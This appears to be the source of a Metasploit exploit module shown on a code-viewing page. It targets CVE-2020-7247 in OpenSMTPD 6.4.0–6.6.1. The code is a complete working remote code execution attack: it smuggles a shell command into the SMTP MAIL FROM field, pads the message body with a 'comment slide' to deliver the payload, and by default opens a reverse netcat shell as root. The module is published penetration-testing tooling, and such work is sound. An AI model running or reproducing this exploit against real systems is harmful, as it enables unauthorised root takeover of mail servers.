Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7

8
  Rank = ExcellentRanking
9

10
  prepend Msf::Exploit::Remote::AutoCheck
11
  include Msf::Exploit::Remote::Tcp
12
  include Msf::Exploit::Remote::Expect
13

14
  def initialize(info = {})
15
    super(
16
      update_info(
17
        info,
18
        'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution',
19
        'Description' => %q{
20
          This module exploits a command injection in the MAIL FROM field during
21
          SMTP interaction with OpenSMTPD to execute a command as the root user.
22
        },
23
        'Author' => [
24
          'Qualys', # Discovery and PoC
25
          'wvu', # Module
26
          'RageLtMan <rageltman[at]sempervictus>' # Module
27
        ],
28
        'References' => [
29
          ['CVE', '2020-7247'],
30
          ['EDB', '48051'], # raptor's LPE/RCE exploit
31
          ['URL', 'https://seclists.org/oss-sec/2020/q1/40']
32
        ],
33
        'DisclosureDate' => '2020-01-28',
34
        'License' => MSF_LICENSE,
35
        'Platform' => 'unix',
36
        'Arch' => ARCH_CMD,
37
        'Privileged' => true,
38
        'Targets' => [
39
          [
40
            'OpenSMTPD 6.4.0 - 6.6.1',
41
            {
42
              'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars
43
            }
44
          ]
45
        ],
46
        'DefaultTarget' => 0,
47
        'DefaultOptions' => {
48
          'PAYLOAD' => 'cmd/unix/reverse_netcat'
49
        },
50
        'Notes' => {
51
          'Stability' => [CRASH_SAFE],
52
          'Reliability' => [REPEATABLE_SESSION],
53
          'SideEffects' => [IOC_IN_LOGS]
54
        }
55
      )
56
    )
57

58
    register_options([
59
      Opt::RPORT(25),
60
      OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root'])
61
    ])
62

63
    register_advanced_options([
64
      OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
65
    ])
66
  end
67

68
  def check
69
    connect
70
    res = sock.get_once
71

72
    return CheckCode::Unknown unless res
73
    return CheckCode::Detected if res =~ /^220.*ESMTP OpenSMTPD/
74

75
    CheckCode::Safe
76
  rescue EOFError, Rex::ConnectionError => e
77
    vprint_error(e.message)
78
    CheckCode::Unknown
79
  ensure
80
    disconnect
81
  end
82

83
  def exploit
84
    # We don't care who we are, so randomize it
85
    me = rand_text_alphanumeric(8..42)
86

87
    # Send mail to this valid recipient
88
    to = datastore['RCPT_TO']
89

90
    # "Comment slide" courtesy of Qualys - brilliant!
91
    rand_var = rand_text_alpha(1)
92
    iter = rand_text_alphanumeric(14).chars.join(' ')
93
    from = ";for #{rand_var} in #{iter};do read #{rand_var};done;sh;exit 0;"
94

95
    # Check against RFC 5321, even though OpenSMTPD is more permissive
96
    if from.length > 64
97
      print_warning('MAIL FROM field is greater than 64 chars')
98
    end
99

100
    # Check for badchars, even though there shouldn't be any
101
    if (badchars = (from.chars & target['MyBadChars'])).any?
102
      print_warning("MAIL FROM field has badchars: #{badchars}")
103
    end
104

105
    # Create the mail body with comment slide and payload
106
    body = "\r\n#{"#\r\n" * 14}#{payload.encoded}"
107

108
    sploit = {
109
      nil => /220.*OpenSMTPD/,
110
      "HELO #{me}" => /250.*pleased to meet you/,
111
      "MAIL FROM:<#{from}>" => /250.*Ok/,
112
      "RCPT TO:<#{to}>" => /250.*Recipient ok/,
113
      'DATA' => /354 Enter mail.*itself/,
114
      body => nil,
115
      '.' => /250.*Message accepted for delivery/,
116
      'QUIT' => /221.*Bye/
117
    }
118

119
    print_status('Connecting to OpenSMTPD')
120
    connect
121

122
    print_status('Saying hello and sending exploit')
123
    sploit.each do |line, pattern|
124
      send_expect(
125
        line,
126
        pattern,
127
        sock: sock,
128
        newline: "\r\n",
129
        timeout: datastore['ExpectTimeout']
130
      )
131
    end
132
  rescue Rex::ConnectionError => e
133
    fail_with(Failure::Unreachable, e.message)
134
  rescue Timeout::Error => e
135
    fail_with(Failure::TimeoutExpired, e.message)
136
  ensure
137
    disconnect
138
  end
139

140
end
141

142